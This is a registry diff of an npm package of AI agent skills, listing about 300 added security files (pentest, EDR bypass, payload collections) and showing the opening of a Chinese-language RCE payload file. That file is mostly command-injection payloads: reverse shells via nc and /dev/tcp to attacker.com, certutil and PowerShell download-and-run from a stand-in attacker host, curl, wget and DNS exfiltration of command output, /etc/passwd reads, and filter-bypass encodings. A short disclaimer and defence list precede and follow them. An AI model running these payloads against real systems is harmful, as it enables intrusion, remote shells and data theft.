opencode-skills-collection 4.0.42 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (297) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +49 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/lore/SKILL.md +104 -298
  95. package/bundled-skills/lore/references/audit-template.md +21 -4
  96. package/bundled-skills/lore/references/compatibility.md +51 -121
  97. package/bundled-skills/lore/references/config.md +22 -23
  98. package/bundled-skills/lore/references/entry-format.md +33 -3
  99. package/bundled-skills/lore/references/history-command.md +98 -2
  100. package/bundled-skills/lore/references/platform-mirrors.md +45 -16
  101. package/bundled-skills/lore/references/stale-new-markers.md +10 -8
  102. package/bundled-skills/lore/references/summary-template.md +8 -1
  103. package/bundled-skills/lore/references/workflows.md +192 -0
  104. package/bundled-skills/lore/scripts/README.md +14 -13
  105. package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
  106. package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
  107. package/bundled-skills/lore/scripts/find_stale.py +68 -16
  108. package/bundled-skills/lore/scripts/history.py +235 -23
  109. package/bundled-skills/lore/scripts/id_hash.py +7 -4
  110. package/bundled-skills/lore/scripts/list_entries.py +82 -13
  111. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  112. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  113. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  114. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  115. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  116. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  117. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  118. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  119. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  120. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  121. package/bundled-skills/muapi-media/SKILL.md +311 -0
  122. package/bundled-skills/ot-ics/SKILL.md +117 -0
  123. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  124. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  125. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  126. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  127. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  128. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  129. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  130. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  131. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  132. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  133. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  134. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  135. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  136. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  137. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  138. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  139. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  140. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  141. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  142. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  143. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  144. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  145. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  146. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  147. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  148. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  149. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  218. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  219. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  220. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  221. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  222. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  223. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  224. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  225. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  226. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  227. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  228. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  229. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  230. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  231. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  232. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  233. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  234. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  235. package/bundled-skills/poka-yoke/SKILL.md +172 -0
  236. package/bundled-skills/project-state-governor/SKILL.md +1 -1
  237. package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
  238. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  239. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  240. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  241. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  242. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  243. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  244. package/bundled-skills/radare2/SKILL.md +460 -0
  245. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  246. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  247. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  248. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  249. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  250. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  251. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  252. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  253. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  254. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  255. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  256. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  257. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  258. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  259. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  260. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  261. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  262. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  263. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  264. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  265. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  266. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  267. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  268. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  269. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  270. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  271. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  272. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  273. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  274. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  275. package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
  276. package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
  277. package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
  278. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  279. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  280. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  281. package/bundled-skills/thick-client/SKILL.md +104 -0
  282. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  283. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  284. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  285. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  286. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  287. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  288. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  289. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  290. package/bundled-skills/windows-ad/SKILL.md +109 -0
  291. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  292. package/package.json +1 -1
  293. package/skills_index.json +1281 -3
  294. package/bundled-skills/lore/README.md +0 -386
  295. package/bundled-skills/lore/README.zh-CN.md +0 -386
  296. package/bundled-skills/lore/WORKFLOWS.md +0 -216
  297. package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
@@ -0,0 +1,1329 @@
1
+ # RCE远程代码执行
2
+
3
+ > ⚠️ Security notice: examples below may include download-and-execute patterns, shown for defensive understanding and authorized testing only. Never run them against systems you do not own.
4
+
5
+
6
+ _12 条 web payload_
7
+
8
+ ### 命令注入 `rce-command-injection`
9
+ _操作系统命令注入攻击技术_
10
+ 子类:**命令注入** · tags: `rce` `command` `injection` `os`
11
+
12
+ **前置条件:**
13
+ - 存在系统命令执行功能
14
+ - 用户输入未过滤
15
+
16
+ **攻击链:**
17
+
18
+ **1. 探测命令注入**
19
+ > 探测命令注入点
20
+ ```
21
+ ; id
22
+ | id
23
+ `id`
24
+ $(id)
25
+ && id
26
+ || id
27
+ test;id
28
+ test|id
29
+ ```
30
+ **语法解析:**
31
+ - `;` — Linux命令分隔符 _operator_
32
+ - `|` — 管道符,传递输出 _operator_
33
+ - ``` — 反引号命令替换 _value_
34
+ - `$()` — 命令替换语法 _function_
35
+ - `&&` — 前命令成功后执行 _operator_
36
+ - `||` — 前命令失败后执行 _operator_
37
+
38
+ **2. Linux命令注入**
39
+ > Linux系统命令注入
40
+ _platform: linux_
41
+ ```
42
+ ; whoami
43
+ ; id
44
+ ; cat /etc/passwd
45
+ ; ls -la /
46
+ ; nc -e /bin/bash attacker.com 4444
47
+ ; bash -i >& /dev/tcp/attacker/4444 0>&1
48
+ ```
49
+ **语法解析:**
50
+ - `whoami` — 显示当前用户 _command_
51
+ - `nc -e` — Netcat反弹Shell _value_
52
+ - `/dev/tcp` — Bash网络重定向 _value_
53
+
54
+ **3. Windows命令注入**
55
+ > Windows系统命令注入
56
+ _platform: windows_
57
+ ```
58
+ & whoami
59
+ & dir
60
+ & type C:\windows\win.ini
61
+ & certutil -urlcache -split -f http://attacker/shell.exe shell.exe & shell.exe
62
+ & powershell -c "IEX(New-Object Net.WebClient).downloadString('http://attacker/shell.ps1')" # security-allowlist: SEC005
63
+ ```
64
+ **语法解析:**
65
+ - `&` — Windows命令分隔符 _operator_
66
+ - `certutil` — Windows下载工具 _value_
67
+ - `powershell -c` — 执行PowerShell命令 _value_
68
+
69
+ **4. 盲命令注入**
70
+ > 盲命令注入探测
71
+ ```
72
+ ; sleep 5
73
+ ; ping -c 5 attacker.com
74
+ & timeout 5
75
+ 通过响应时间差异判断命令是否执行
76
+ ```
77
+ **语法解析:**
78
+ - `sleep` — Linux延时命令 _keyword_
79
+ - `timeout` — Windows延时命令 _value_
80
+
81
+ **5. 外带数据**
82
+ > 通过外带通道获取数据
83
+ _platform: linux_
84
+ ```
85
+ ; curl http://attacker.com/?data=$(whoami)
86
+ ; wget http://attacker.com/?data=$(id|base64)
87
+ ; nslookup $(whoami).attacker.com
88
+ ; ping $(whoami | xxd -p).attacker.com
89
+ ```
90
+ **语法解析:**
91
+ - `curl` — HTTP请求工具 _command_
92
+ - `nslookup` — DNS查询工具 _value_
93
+ - `xxd -p` — 转换为十六进制 _value_
94
+
95
+ **WAF/EDR 绕过变体:**
96
+
97
+ **空格绕过**
98
+ > 绕过空格过滤
99
+ _platform: linux_
100
+ ```
101
+ ;{cat,/etc/passwd}
102
+ ;cat$IFS/etc/passwd
103
+ ;cat</etc/passwd
104
+ ;cat%09/etc/passwd
105
+ ;cat${IFS}/etc/passwd
106
+ ```
107
+ **语法解析:**
108
+ - `$IFS` — 内部字段分隔符变量 _variable_
109
+ - `%09` — Tab字符URL编码 _encoding_
110
+ - `{}` — 大括号扩展 _value_
111
+
112
+ **关键字绕过**
113
+ > 绕过关键字过滤
114
+ _platform: linux_
115
+ ```
116
+ ; c''at /etc/passwd
117
+ ; c""at /etc/passwd
118
+ ; c\at /etc/passwd
119
+ ; /bin/c?a?t /etc/passwd
120
+ ; /bin/ca[t] /etc/passwd
121
+ ```
122
+
123
+ **编码绕过**
124
+ > 使用编码绕过
125
+ _platform: linux_
126
+ ```
127
+ ; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash # security-allowlist: SEC008
128
+ ; $(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
129
+ ```
130
+ **语法解析:**
131
+ - `base64 -d` — Base64解码 _value_
132
+ - `printf "\x"` — 十六进制编码 _value_
133
+
134
+
135
+ **概述:** OS命令注入允许攻击者通过Web应用在服务器操作系统上执行任意系统命令。漏洞通常出现在应用调用系统命令处理用户输入的场景(如文件操作、网络诊断、数据处理等)。
136
+
137
+ **漏洞原理:** 命令注入的根因是应用将用户输入直接拼接到system()/exec()/popen()等系统命令执行函数中。攻击者通过管道符(|)、分号(;)、反引号(`)、$()等shell元字符链接恶意命令,突破原始命令的预期行为。
138
+
139
+ **利用方法:** 完整利用流程:
140
+ 1. 探测命令注入点
141
+ 2. 确定操作系统类型
142
+ 3. 绕过过滤机制
143
+ 4. 执行恶意命令
144
+ 5. 获取Shell或窃取数据
145
+
146
+ **防御措施:** 防御措施:
147
+ 1. 避免使用系统命令执行函数
148
+ 2. 使用参数化API调用
149
+ 3. 严格的输入验证和白名单
150
+ 4. 使用最小权限运行
151
+ 5. 禁用危险函数
152
+
153
+ ---
154
+
155
+ ### PHP代码执行 `rce-php`
156
+ _PHP代码执行漏洞利用技术_
157
+ 子类:**PHP代码执行** · tags: `rce` `php` `code` `execution`
158
+
159
+ **前置条件:**
